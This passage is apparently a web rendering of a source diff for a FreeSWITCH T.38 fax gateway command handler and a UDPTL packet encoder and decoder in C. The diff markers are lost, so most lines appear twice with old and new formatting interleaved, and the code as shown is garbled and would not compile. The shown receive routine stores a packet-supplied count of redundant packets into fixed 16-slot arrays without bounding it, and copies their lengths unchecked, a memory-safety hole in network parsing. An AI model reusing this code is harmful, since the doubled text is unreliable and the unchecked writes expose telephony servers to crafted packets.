switch_core_session_t *t38gateway_session;
switch_media_bug_t *bug;
t38gateway_session_info_t *t38gateway_info;
switch_channel_t *channel;
switch_status_t status;
int argc;
char *argv[T38GATEWAY_PARAMS];
char *ccmd;
char *uuid;
char *command;
switch_core_session_t *t38gateway_session;
switch_media_bug_t *bug;
t38gateway_session_info_t *t38gateway_info;
switch_channel_t *channel;
switch_status_t status;
int argc;
char *argv[T38GATEWAY_PARAMS];
char *ccmd;
char *uuid;
char *command;
/* No command? Display usage */
if (cmd == NULL) {
stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
return SWITCH_STATUS_SUCCESS;
}
/* No command? Display usage */
if (cmd == NULL) {
stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
return SWITCH_STATUS_SUCCESS;
}
/* Duplicated contents of original string */
ccmd = strdup(cmd);
/* Separate the arguments */
argc = switch_separate_string(ccmd, ' ', argv, T38GATEWAY_PARAMS);
/* Duplicated contents of original string */
ccmd = strdup(cmd);
/* Separate the arguments */
argc = switch_separate_string(ccmd, ' ', argv, T38GATEWAY_PARAMS);
/* If we don't have the expected number of parameters
* display usage */
if (argc != T38GATEWAY_PARAMS) {
stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
switch_safe_free(ccmd);
return SWITCH_STATUS_SUCCESS;
}
/* If we don't have the expected number of parameters
* display usage */
if (argc != T38GATEWAY_PARAMS) {
stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
switch_safe_free(ccmd);
return SWITCH_STATUS_SUCCESS;
}
uuid = argv[0];
command = argv[1];
uuid = argv[0];
command = argv[1];
/* using uuid locate a reference to the FreeSWITCH session */
t38gateway_session = switch_core_session_locate(uuid);
/* using uuid locate a reference to the FreeSWITCH session */
t38gateway_session = switch_core_session_locate(uuid);
/* If the session was not found exit */
if (t38gateway_session == NULL) {
switch_safe_free(ccmd);
stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
return SWITCH_STATUS_FALSE;
}
/* If the session was not found exit */
if (t38gateway_session == NULL) {
switch_safe_free(ccmd);
stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
return SWITCH_STATUS_FALSE;
}
/* Get current channel of the session to tag the session
* This indicates that our module is present */
channel = switch_core_session_get_channel(t38gateway_session);
/* Get current channel of the session to tag the session
* This indicates that our module is present */
channel = switch_core_session_get_channel(t38gateway_session);
/* Is this channel already set? */
bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
/* If yes */
if (bug != NULL) {
/* If we have a stop remove audio bug */
if (strcasecmp(command, "stop") == 0) {
switch_channel_set_private(channel, "_t38gateway_", NULL);
switch_core_media_bug_remove(t38gateway_session, &bug);
switch_safe_free(ccmd);
stream->write_function(stream, "+OK\n");
return SWITCH_STATUS_SUCCESS;
}
/* Is this channel already set? */
bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
/* If yes */
if (bug != NULL) {
/* If we have a stop remove audio bug */
if (strcasecmp(command, "stop") == 0) {
switch_channel_set_private(channel, "_t38gateway_", NULL);
switch_core_media_bug_remove(t38gateway_session, &bug);
switch_safe_free(ccmd);
stream->write_function(stream, "+OK\n");
return SWITCH_STATUS_SUCCESS;
}
/* We have already started */
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
/* We have already started */
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
switch_safe_free(ccmd);
return SWITCH_STATUS_FALSE;
}
switch_safe_free(ccmd);
return SWITCH_STATUS_FALSE;
}
/* If we don't see the expected start exit */
if (strcasecmp(command, "start") != 0) {
switch_safe_free(ccmd);
stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
return SWITCH_STATUS_FALSE;
}
/* If we don't see the expected start exit */
if (strcasecmp(command, "start") != 0) {
switch_safe_free(ccmd);
stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
return SWITCH_STATUS_FALSE;
}
/* Allocate memory attached to this FreeSWITCH session for
* use in the callback routine and to store state information */
t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(t38gateway_session, sizeof(t38gateway_session_info_t));
/* Allocate memory attached to this FreeSWITCH session for
* use in the callback routine and to store state information */
t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(t38gateway_session, sizeof(t38gateway_session_info_t));
/* Set initial values and states */
t38gateway_info->session = t38gateway_session;
t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
/* Set initial values and states */
t38gateway_info->session = t38gateway_session;
t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
/* Add a media bug that allows me to intercept the
* reading leg of the audio stream */
status = switch_core_media_bug_add(t38gateway_session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
/* Add a media bug that allows me to intercept the
* reading leg of the audio stream */
status = switch_core_media_bug_add(t38gateway_session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
/* If adding a media bug fails exit */
if (status != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failure hooking to stream\n");
/* If adding a media bug fails exit */
if (status != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failure hooking to stream\n");
switch_safe_free(ccmd);
return SWITCH_STATUS_FALSE;
}
switch_safe_free(ccmd);
return SWITCH_STATUS_FALSE;
}
/* Set the t38gateway tag to detect an existing t38gateway media bug */
switch_channel_set_private(channel, "_t38gateway_", bug);
/* Set the t38gateway tag to detect an existing t38gateway media bug */
switch_channel_set_private(channel, "_t38gateway_", bug);
/* Everything went according to plan! Notify the user */
stream->write_function(stream, "+OK\n");
/* Everything went according to plan! Notify the user */
stream->write_function(stream, "+OK\n");
switch_safe_free(ccmd);
return SWITCH_STATUS_SUCCESS;
switch_safe_free(ccmd);
return SWITCH_STATUS_SUCCESS;
}
+426 -459
View File
@@ -36,561 +36,528 @@
static int decode_length(const uint8_t *buf, int limit, int *len, int *pvalue)
{
if (*len >= limit)
return -1;
if ((buf[*len] & 0x80) == 0)
{
*pvalue = buf[(*len)++];
return 0;
}
if ((buf[*len] & 0x40) == 0)
{
if (*len >= limit - 1)
return -1;
*pvalue = (buf[(*len)++] & 0x3F) << 8;
*pvalue |= buf[(*len)++];
return 0;
}
*pvalue = (buf[(*len)++] & 0x3F) << 14;
/* Indicate we have a fragment */
return 1;
if (*len >= limit)
return -1;
if ((buf[*len] & 0x80) == 0) {
*pvalue = buf[(*len)++];
return 0;
}
if ((buf[*len] & 0x40) == 0) {
if (*len >= limit - 1)
return -1;
*pvalue = (buf[(*len)++] & 0x3F) << 8;
*pvalue |= buf[(*len)++];
return 0;
}
*pvalue = (buf[(*len)++] & 0x3F) << 14;
/* Indicate we have a fragment */
return 1;
}
/*- End of function --------------------------------------------------------*/
static int decode_open_type(const uint8_t *buf, int limit, int *len, const uint8_t **p_object, int *p_num_octets)
static int decode_open_type(const uint8_t *buf, int limit, int *len, const uint8_t ** p_object, int *p_num_octets)
{
int octet_cnt;
int octet_idx;
int stat;
int i;
const uint8_t **pbuf;
int octet_cnt;
int octet_idx;
int stat;
int i;
const uint8_t **pbuf;
for (octet_idx = 0, *p_num_octets = 0; ; octet_idx += octet_cnt)
{
if ((stat = decode_length(buf, limit, len, &octet_cnt)) < 0)
return -1;
if (octet_cnt > 0)
{
*p_num_octets += octet_cnt;
for (octet_idx = 0, *p_num_octets = 0;; octet_idx += octet_cnt) {
if ((stat = decode_length(buf, limit, len, &octet_cnt)) < 0)
return -1;
if (octet_cnt > 0) {
*p_num_octets += octet_cnt;
pbuf = &p_object[octet_idx];
i = 0;
/* Make sure the buffer contains at least the number of bits requested */
if ((*len + octet_cnt) > limit)
return -1;
pbuf = &p_object[octet_idx];
i = 0;
/* Make sure the buffer contains at least the number of bits requested */
if ((*len + octet_cnt) > limit)
return -1;
*pbuf = &buf[*len];
*len += octet_cnt;
}
if (stat == 0)
break;
}
return 0;
*pbuf = &buf[*len];
*len += octet_cnt;
}
if (stat == 0)
break;
}
return 0;
}
/*- End of function --------------------------------------------------------*/
static int encode_length(uint8_t *buf, int *len, int value)
{
int multiplier;
int multiplier;
if (value < 0x80)
{
/* 1 octet */
buf[(*len)++] = value;
return value;
}
if (value < 0x4000)
{
/* 2 octets */
/* Set the first bit of the first octet */
buf[(*len)++] = ((0x8000 | value) >> 8) & 0xFF;
buf[(*len)++] = value & 0xFF;
return value;
}
/* Fragmentation */
multiplier = (value < 0x10000) ? (value >> 14) : 4;
/* Set the first 2 bits of the octet */
buf[(*len)++] = 0xC0 | multiplier;
return multiplier << 14;
if (value < 0x80) {
/* 1 octet */
buf[(*len)++] = value;
return value;
}
if (value < 0x4000) {
/* 2 octets */
/* Set the first bit of the first octet */
buf[(*len)++] = ((0x8000 | value) >> 8) & 0xFF;
buf[(*len)++] = value & 0xFF;
return value;
}
/* Fragmentation */
multiplier = (value < 0x10000) ? (value >> 14) : 4;
/* Set the first 2 bits of the octet */
buf[(*len)++] = 0xC0 | multiplier;
return multiplier << 14;
}
/*- End of function --------------------------------------------------------*/
static int encode_open_type(uint8_t *buf, int *len, const uint8_t *data, int num_octets)
{
int enclen;
int octet_idx;
uint8_t zero_byte;
int enclen;
int octet_idx;
uint8_t zero_byte;
/* If open type is of zero length, add a single zero byte (10.1) */
if (num_octets == 0)
{
zero_byte = 0;
data = &zero_byte;
num_octets = 1;
}
/* Encode the open type */
for (octet_idx = 0; ; num_octets -= enclen, octet_idx += enclen)
{
if ((enclen = encode_length(buf, len, num_octets)) < 0)
return -1;
if (enclen > 0)
{
memcpy(&buf[*len], &data[octet_idx], enclen);
*len += enclen;
}
if (enclen >= num_octets)
break;
}
/* If open type is of zero length, add a single zero byte (10.1) */
if (num_octets == 0) {
zero_byte = 0;
data = &zero_byte;
num_octets = 1;
}
/* Encode the open type */
for (octet_idx = 0;; num_octets -= enclen, octet_idx += enclen) {
if ((enclen = encode_length(buf, len, num_octets)) < 0)
return -1;
if (enclen > 0) {
memcpy(&buf[*len], &data[octet_idx], enclen);
*len += enclen;
}
if (enclen >= num_octets)
break;
}
return 0;
return 0;
}
/*- End of function --------------------------------------------------------*/
int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len)
{
int stat;
int stat2;
int i;
int j;
int k;
int l;
int m;
int x;
int limit;
int which;
int ptr;
int count;
int total_count;
int seq_no;
const uint8_t *msg;
const uint8_t *data;
int msg_len;
int repaired[16];
const uint8_t *bufs[16];
int lengths[16];
int span;
int entries;
int stat;
int stat2;
int i;
int j;
int k;
int l;
int m;
int x;
int limit;
int which;
int ptr;
int count;
int total_count;
int seq_no;
const uint8_t *msg;
const uint8_t *data;
int msg_len;
int repaired[16];
const uint8_t *bufs[16];
int lengths[16];
int span;
int entries;
ptr = 0;
/* Decode seq_number */
if (ptr + 2 > len)
return -1;
seq_no = (buf[0] << 8) | buf[1];
ptr += 2;
/* Break out the primary packet */
if ((stat = decode_open_type(buf, len, &ptr, &msg, &msg_len)) != 0)
return -1;
/* Decode error_recovery */
if (ptr + 1 > len)
return -1;
/* Our buffers cannot tolerate overlength packets */
if (msg_len > LOCAL_FAX_MAX_DATAGRAM)
return -1;
/* Update any missed slots in the buffer */
for (i = s->rx_seq_no; seq_no > i; i++)
{
x = i & UDPTL_BUF_MASK;
s->rx[x].buf_len = -1;
s->rx[x].fec_len[0] = 0;
s->rx[x].fec_span = 0;
s->rx[x].fec_entries = 0;
}
/* Save the new packet. Pure redundancy mode won't use this, but some systems will switch
into FEC mode after sending some redundant packets. */
x = seq_no & UDPTL_BUF_MASK;
memcpy(s->rx[x].buf, msg, msg_len);
s->rx[x].buf_len = msg_len;
s->rx[x].fec_len[0] = 0;
s->rx[x].fec_span = 0;
s->rx[x].fec_entries = 0;
if ((buf[ptr++] & 0x80) == 0)
{
/* Secondary packet mode for error recovery */
/* We might have the packet we want, but we need to check through
the redundant stuff, and verify the integrity of the UDPTL.
This greatly reduces our chances of accepting garbage. */
total_count = 0;
do
{
if ((stat2 = decode_length(buf, len, &ptr, &count)) < 0)
return -1;
for (i = 0; i < count; i++)
{
if ((stat = decode_open_type(buf, len, &ptr, &bufs[total_count + i], &lengths[total_count + i])) != 0)
return -1;
}
total_count += count;
}
while (stat2 > 0);
/* We should now be exactly at the end of the packet. If not, this is a fault. */
if (ptr != len)
return -1;
if (seq_no > s->rx_seq_no)
{
/* We received a later packet than we expected, so we need to check if we can fill in the gap from the
secondary packets. */
/* Step through in reverse order, so we go oldest to newest */
for (i = total_count; i > 0; i--)
{
if (seq_no - i >= s->rx_seq_no)
{
/* This one wasn't seen before */
/* Decode the secondary packet */
ptr = 0;
/* Decode seq_number */
if (ptr + 2 > len)
return -1;
seq_no = (buf[0] << 8) | buf[1];
ptr += 2;
/* Break out the primary packet */
if ((stat = decode_open_type(buf, len, &ptr, &msg, &msg_len)) != 0)
return -1;
/* Decode error_recovery */
if (ptr + 1 > len)
return -1;
/* Our buffers cannot tolerate overlength packets */
if (msg_len > LOCAL_FAX_MAX_DATAGRAM)
return -1;
/* Update any missed slots in the buffer */
for (i = s->rx_seq_no; seq_no > i; i++) {
x = i & UDPTL_BUF_MASK;
s->rx[x].buf_len = -1;
s->rx[x].fec_len[0] = 0;
s->rx[x].fec_span = 0;
s->rx[x].fec_entries = 0;
}
/* Save the new packet. Pure redundancy mode won't use this, but some systems will switch
into FEC mode after sending some redundant packets. */
x = seq_no & UDPTL_BUF_MASK;
memcpy(s->rx[x].buf, msg, msg_len);
s->rx[x].buf_len = msg_len;
s->rx[x].fec_len[0] = 0;
s->rx[x].fec_span = 0;
s->rx[x].fec_entries = 0;
if ((buf[ptr++] & 0x80) == 0) {
/* Secondary packet mode for error recovery */
/* We might have the packet we want, but we need to check through
the redundant stuff, and verify the integrity of the UDPTL.
This greatly reduces our chances of accepting garbage. */
total_count = 0;
do {
if ((stat2 = decode_length(buf, len, &ptr, &count)) < 0)
return -1;
for (i = 0; i < count; i++) {
if ((stat = decode_open_type(buf, len, &ptr, &bufs[total_count + i], &lengths[total_count + i])) != 0)
return -1;
}
total_count += count;
}
while (stat2 > 0);
/* We should now be exactly at the end of the packet. If not, this is a fault. */
if (ptr != len)
return -1;
if (seq_no > s->rx_seq_no) {
/* We received a later packet than we expected, so we need to check if we can fill in the gap from the
secondary packets. */
/* Step through in reverse order, so we go oldest to newest */
for (i = total_count; i > 0; i--) {
if (seq_no - i >= s->rx_seq_no) {
/* This one wasn't seen before */
/* Decode the secondary packet */
#if defined(UDPTL_DEBUG)
fprintf(stderr, "Secondary %d, len %d\n", seq_no - i, lengths[i - 1]);
fprintf(stderr, "Secondary %d, len %d\n", seq_no - i, lengths[i - 1]);
#endif
/* Save the new packet. Redundancy mode won't use this, but some systems will switch into
FEC mode after sending some redundant packets, and this may then be important. */
x = (seq_no - i) & UDPTL_BUF_MASK;
memcpy(s->rx[x].buf, bufs[i - 1], lengths[i - 1]);
s->rx[x].buf_len = lengths[i - 1];
s->rx[x].fec_len[0] = 0;
s->rx[x].fec_span = 0;
s->rx[x].fec_entries = 0;
if (s->rx_packet_handler(s->user_data, bufs[i - 1], lengths[i - 1], seq_no - i) < 0)
fprintf(stderr, "Bad IFP\n");
}
}
}
}
else
{
/* FEC mode for error recovery */
/* Save the new packet. Redundancy mode won't use this, but some systems will switch into
FEC mode after sending some redundant packets, and this may then be important. */
x = (seq_no - i) & UDPTL_BUF_MASK;
memcpy(s->rx[x].buf, bufs[i - 1], lengths[i - 1]);
s->rx[x].buf_len = lengths[i - 1];
s->rx[x].fec_len[0] = 0;
s->rx[x].fec_span = 0;
s->rx[x].fec_entries = 0;
if (s->rx_packet_handler(s->user_data, bufs[i - 1], lengths[i - 1], seq_no - i) < 0)
fprintf(stderr, "Bad IFP\n");
}
}
}
} else {
/* FEC mode for error recovery */
/* Decode the FEC packets */
/* The span is defined as an unconstrained integer, but will never be more
than a small value. */
if (ptr + 2 > len)
return -1;
if (buf[ptr++] != 1)
return -1;
span = buf[ptr++];
/* Decode the FEC packets */
/* The span is defined as an unconstrained integer, but will never be more
than a small value. */
if (ptr + 2 > len)
return -1;
if (buf[ptr++] != 1)
return -1;
span = buf[ptr++];
x = seq_no & UDPTL_BUF_MASK;
x = seq_no & UDPTL_BUF_MASK;
s->rx[x].fec_span = span;
s->rx[x].fec_span = span;
memset(repaired, 0, sizeof(repaired));
repaired[x] = TRUE;
memset(repaired, 0, sizeof(repaired));
repaired[x] = TRUE;
/* The number of entries is defined as a length, but will only ever be a small
value. Treat it as such. */
if (ptr + 1 > len)
return -1;
entries = buf[ptr++];
s->rx[x].fec_entries = entries;
/* The number of entries is defined as a length, but will only ever be a small
value. Treat it as such. */
if (ptr + 1 > len)
return -1;
entries = buf[ptr++];
s->rx[x].fec_entries = entries;
/* Decode the elements */
for (i = 0; i < entries; i++)
{
if ((stat = decode_open_type(buf, len, &ptr, &data, &s->rx[x].fec_len[i])) != 0)
return -1;
if (s->rx[x].fec_len[i] > LOCAL_FAX_MAX_DATAGRAM)
return -1;
/* Decode the elements */
for (i = 0; i < entries; i++) {
if ((stat = decode_open_type(buf, len, &ptr, &data, &s->rx[x].fec_len[i])) != 0)
return -1;
if (s->rx[x].fec_len[i] > LOCAL_FAX_MAX_DATAGRAM)
return -1;
/* Save the new FEC data */
memcpy(s->rx[x].fec[i], data, s->rx[x].fec_len[i]);
/* Save the new FEC data */
memcpy(s->rx[x].fec[i], data, s->rx[x].fec_len[i]);
#if 0
fprintf(stderr, "FEC: ");
for (j = 0; j < s->rx[x].fec_len[i]; j++)
fprintf(stderr, "%02X ", data[j]);
fprintf(stderr, "\n");
fprintf(stderr, "FEC: ");
for (j = 0; j < s->rx[x].fec_len[i]; j++)
fprintf(stderr, "%02X ", data[j]);
fprintf(stderr, "\n");
#endif
}
/* We should now be exactly at the end of the packet. If not, this is a fault. */
if (ptr != len)
return -1;
/* See if we can reconstruct anything which is missing */
/* TODO: this does not comprehensively hunt back and repair everything that is possible */
for (l = x; l != ((x - (16 - span*entries)) & UDPTL_BUF_MASK); l = (l - 1) & UDPTL_BUF_MASK)
{
if (s->rx[l].fec_len[0] <= 0)
continue;
for (m = 0; m < s->rx[l].fec_entries; m++)
{
limit = (l + m) & UDPTL_BUF_MASK;
for (which = -1, k = (limit - s->rx[l].fec_span*s->rx[l].fec_entries) & UDPTL_BUF_MASK; k != limit; k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK)
{
if (s->rx[k].buf_len <= 0)
which = (which == -1) ? k : -2;
}
if (which >= 0)
{
/* Repairable */
for (j = 0; j < s->rx[l].fec_len[m]; j++)
{
s->rx[which].buf[j] = s->rx[l].fec[m][j];
for (k = (limit - s->rx[l].fec_span*s->rx[l].fec_entries) & UDPTL_BUF_MASK; k != limit; k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK)
s->rx[which].buf[j] ^= (s->rx[k].buf_len > j) ? s->rx[k].buf[j] : 0;
}
s->rx[which].buf_len = s->rx[l].fec_len[m];
repaired[which] = TRUE;
}
}
}
/* Now play any new packets forwards in time */
for (l = (x + 1) & UDPTL_BUF_MASK, j = seq_no - UDPTL_BUF_MASK; l != x; l = (l + 1) & UDPTL_BUF_MASK, j++)
{
if (repaired[l])
{
}
/* We should now be exactly at the end of the packet. If not, this is a fault. */
if (ptr != len)
return -1;
/* See if we can reconstruct anything which is missing */
/* TODO: this does not comprehensively hunt back and repair everything that is possible */
for (l = x; l != ((x - (16 - span * entries)) & UDPTL_BUF_MASK); l = (l - 1) & UDPTL_BUF_MASK) {
if (s->rx[l].fec_len[0] <= 0)
continue;
for (m = 0; m < s->rx[l].fec_entries; m++) {
limit = (l + m) & UDPTL_BUF_MASK;
for (which = -1, k = (limit - s->rx[l].fec_span * s->rx[l].fec_entries) & UDPTL_BUF_MASK; k != limit;
k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK) {
if (s->rx[k].buf_len <= 0)
which = (which == -1) ? k : -2;
}
if (which >= 0) {
/* Repairable */
for (j = 0; j < s->rx[l].fec_len[m]; j++) {
s->rx[which].buf[j] = s->rx[l].fec[m][j];
for (k = (limit - s->rx[l].fec_span * s->rx[l].fec_entries) & UDPTL_BUF_MASK; k != limit;
k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK)
s->rx[which].buf[j] ^= (s->rx[k].buf_len > j) ? s->rx[k].buf[j] : 0;
}
s->rx[which].buf_len = s->rx[l].fec_len[m];
repaired[which] = TRUE;
}
}
}
/* Now play any new packets forwards in time */
for (l = (x + 1) & UDPTL_BUF_MASK, j = seq_no - UDPTL_BUF_MASK; l != x; l = (l + 1) & UDPTL_BUF_MASK, j++) {
if (repaired[l]) {
#if defined(UDPTL_DEBUG)
fprintf(stderr, "Fixed packet %d, len %d\n", j, l);
fprintf(stderr, "Fixed packet %d, len %d\n", j, l);
#endif
if (s->rx_packet_handler(s->user_data, s->rx[l].buf, s->rx[l].buf_len, j) < 0)
fprintf(stderr, "Bad IFP\n");
}
}
}
/* If packets are received out of sequence, we may have already processed this packet from the error
recovery information in a packet already received. */
if (seq_no >= s->rx_seq_no)
{
/* Decode the primary packet */
if (s->rx_packet_handler(s->user_data, s->rx[l].buf, s->rx[l].buf_len, j) < 0)
fprintf(stderr, "Bad IFP\n");
}
}
}
/* If packets are received out of sequence, we may have already processed this packet from the error
recovery information in a packet already received. */
if (seq_no >= s->rx_seq_no) {
/* Decode the primary packet */
#if defined(UDPTL_DEBUG)
fprintf(stderr, "Primary packet %d, len %d\n", seq_no, msg_len);
fprintf(stderr, "Primary packet %d, len %d\n", seq_no, msg_len);
#endif
if (s->rx_packet_handler(s->user_data, msg, msg_len, seq_no) < 0)
fprintf(stderr, "Bad IFP\n");
}
if (s->rx_packet_handler(s->user_data, msg, msg_len, seq_no) < 0)
fprintf(stderr, "Bad IFP\n");
}
s->rx_seq_no = (seq_no + 1) & 0xFFFF;
return 0;
s->rx_seq_no = (seq_no + 1) & 0xFFFF;
return 0;
}
/*- End of function --------------------------------------------------------*/
int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len)
{
uint8_t fec[LOCAL_FAX_MAX_DATAGRAM];
int i;
int j;
int seq;
int entry;
int entries;
int span;
int m;
int len;
int limit;
int high_tide;
uint8_t fec[LOCAL_FAX_MAX_DATAGRAM];
int i;
int j;
int seq;
int entry;
int entries;
int span;
int m;
int len;
int limit;
int high_tide;
/* UDPTL cannot cope with zero length messages, and our buffering for redundancy limits their
maximum length. */
if (msg_len < 1 || msg_len > LOCAL_FAX_MAX_DATAGRAM)
return -1;
seq = s->tx_seq_no & 0xFFFF;
/* UDPTL cannot cope with zero length messages, and our buffering for redundancy limits their
maximum length. */
if (msg_len < 1 || msg_len > LOCAL_FAX_MAX_DATAGRAM)
return -1;
seq = s->tx_seq_no & 0xFFFF;
/* Map the sequence number to an entry in the circular buffer */
entry = seq & UDPTL_BUF_MASK;
/* Map the sequence number to an entry in the circular buffer */
entry = seq & UDPTL_BUF_MASK;
/* We save the message in a circular buffer, for generating FEC or
redundancy sets later on. */
s->tx[entry].buf_len = msg_len;
memcpy(s->tx[entry].buf, msg, msg_len);
/* Build the UDPTL packet */
/* We save the message in a circular buffer, for generating FEC or
redundancy sets later on. */
s->tx[entry].buf_len = msg_len;
memcpy(s->tx[entry].buf, msg, msg_len);
len = 0;
/* Encode the sequence number */
buf[len++] = (seq >> 8) & 0xFF;
buf[len++] = seq & 0xFF;
/* Build the UDPTL packet */
/* Encode the primary packet */
if (encode_open_type(buf, &len, msg, msg_len) < 0)
return -1;
len = 0;
/* Encode the sequence number */
buf[len++] = (seq >> 8) & 0xFF;
buf[len++] = seq & 0xFF;
/* Encode the appropriate type of error recovery information */
switch (s->error_correction_scheme)
{
case UDPTL_ERROR_CORRECTION_NONE:
/* Encode the error recovery type */
buf[len++] = 0x00;
/* The number of entries will always be zero, so it is pointless allowing
for the fragmented case here. */
if (encode_length(buf, &len, 0) < 0)
return -1;
break;
case UDPTL_ERROR_CORRECTION_REDUNDANCY:
/* Encode the error recovery type */
buf[len++] = 0x00;
if (s->tx_seq_no > s->error_correction_entries)
entries = s->error_correction_entries;
else
entries = s->tx_seq_no;
/* The number of entries will always be small, so it is pointless allowing
for the fragmented case here. */
if (encode_length(buf, &len, entries) < 0)
return -1;
/* Encode the elements */
for (i = 0; i < entries; i++)
{
j = (entry - i - 1) & UDPTL_BUF_MASK;
if (encode_open_type(buf, &len, s->tx[j].buf, s->tx[j].buf_len) < 0)
return -1;
}
break;
case UDPTL_ERROR_CORRECTION_FEC:
span = s->error_correction_span;
entries = s->error_correction_entries;
if (seq < s->error_correction_span*s->error_correction_entries)
{
/* In the initial stages, wind up the FEC smoothly */
entries = seq/s->error_correction_span;
if (seq < s->error_correction_span)
span = 0;
}
/* Encode the error recovery type */
buf[len++] = 0x80;
/* Span is defined as an inconstrained integer, which it dumb. It will only
ever be a small value. Treat it as such. */
buf[len++] = 1;
buf[len++] = span;
/* The number of entries is defined as a length, but will only ever be a small
value. Treat it as such. */
buf[len++] = entries;
for (m = 0; m < entries; m++)
{
/* Make an XOR'ed entry the maximum length */
limit = (entry + m) & UDPTL_BUF_MASK;
high_tide = 0;
for (i = (limit - span*entries) & UDPTL_BUF_MASK; i != limit; i = (i + entries) & UDPTL_BUF_MASK)
{
if (high_tide < s->tx[i].buf_len)
{
for (j = 0; j < high_tide; j++)
fec[j] ^= s->tx[i].buf[j];
for ( ; j < s->tx[i].buf_len; j++)
fec[j] = s->tx[i].buf[j];
high_tide = s->tx[i].buf_len;
}
else
{
for (j = 0; j < s->tx[i].buf_len; j++)
fec[j] ^= s->tx[i].buf[j];
}
}
if (encode_open_type(buf, &len, fec, high_tide) < 0)
return -1;
}
break;
}
/* Encode the primary packet */
if (encode_open_type(buf, &len, msg, msg_len) < 0)
return -1;
if (s->verbose)
fprintf(stderr, "\n");
s->tx_seq_no++;
return len;
/* Encode the appropriate type of error recovery information */
switch (s->error_correction_scheme) {
case UDPTL_ERROR_CORRECTION_NONE:
/* Encode the error recovery type */
buf[len++] = 0x00;
/* The number of entries will always be zero, so it is pointless allowing
for the fragmented case here. */
if (encode_length(buf, &len, 0) < 0)
return -1;
break;
case UDPTL_ERROR_CORRECTION_REDUNDANCY:
/* Encode the error recovery type */
buf[len++] = 0x00;
if (s->tx_seq_no > s->error_correction_entries)
entries = s->error_correction_entries;
else
entries = s->tx_seq_no;
/* The number of entries will always be small, so it is pointless allowing
for the fragmented case here. */
if (encode_length(buf, &len, entries) < 0)
return -1;
/* Encode the elements */
for (i = 0; i < entries; i++) {
j = (entry - i - 1) & UDPTL_BUF_MASK;
if (encode_open_type(buf, &len, s->tx[j].buf, s->tx[j].buf_len) < 0)
return -1;
}
break;
case UDPTL_ERROR_CORRECTION_FEC:
span = s->error_correction_span;
entries = s->error_correction_entries;
if (seq < s->error_correction_span * s->error_correction_entries) {
/* In the initial stages, wind up the FEC smoothly */
entries = seq / s->error_correction_span;
if (seq < s->error_correction_span)
span = 0;
}
/* Encode the error recovery type */
buf[len++] = 0x80;
/* Span is defined as an inconstrained integer, which it dumb. It will only
ever be a small value. Treat it as such. */
buf[len++] = 1;
buf[len++] = span;
/* The number of entries is defined as a length, but will only ever be a small
value. Treat it as such. */
buf[len++] = entries;
for (m = 0; m < entries; m++) {
/* Make an XOR'ed entry the maximum length */
limit = (entry + m) & UDPTL_BUF_MASK;
high_tide = 0;
for (i = (limit - span * entries) & UDPTL_BUF_MASK; i != limit; i = (i + entries) & UDPTL_BUF_MASK) {
if (high_tide < s->tx[i].buf_len) {
for (j = 0; j < high_tide; j++)
fec[j] ^= s->tx[i].buf[j];
for (; j < s->tx[i].buf_len; j++)
fec[j] = s->tx[i].buf[j];
high_tide = s->tx[i].buf_len;
} else {
for (j = 0; j < s->tx[i].buf_len; j++)
fec[j] ^= s->tx[i].buf[j];
}
}
if (encode_open_type(buf, &len, fec, high_tide) < 0)
return -1;
}
break;
}
if (s->verbose)
fprintf(stderr, "\n");
s->tx_seq_no++;
return len;
}
/*- End of function --------------------------------------------------------*/
int udptl_set_error_correction(udptl_state_t *s,
int ec_scheme,
int span,
int entries)
int udptl_set_error_correction(udptl_state_t *s, int ec_scheme, int span, int entries)
{
switch (ec_scheme)
{
case UDPTL_ERROR_CORRECTION_FEC:
case UDPTL_ERROR_CORRECTION_REDUNDANCY:
case UDPTL_ERROR_CORRECTION_NONE:
s->error_correction_scheme = ec_scheme;
break;
case -1:
/* Just don't change the scheme */
break;
default:
return -1;
}
if (span >= 0)
s->error_correction_span = span;
if (entries >= 0)
s->error_correction_entries = entries;
return 0;
switch (ec_scheme) {
case UDPTL_ERROR_CORRECTION_FEC:
case UDPTL_ERROR_CORRECTION_REDUNDANCY:
case UDPTL_ERROR_CORRECTION_NONE:
s->error_correction_scheme = ec_scheme;
break;
case -1:
/* Just don't change the scheme */
break;
default:
return -1;
}
if (span >= 0)
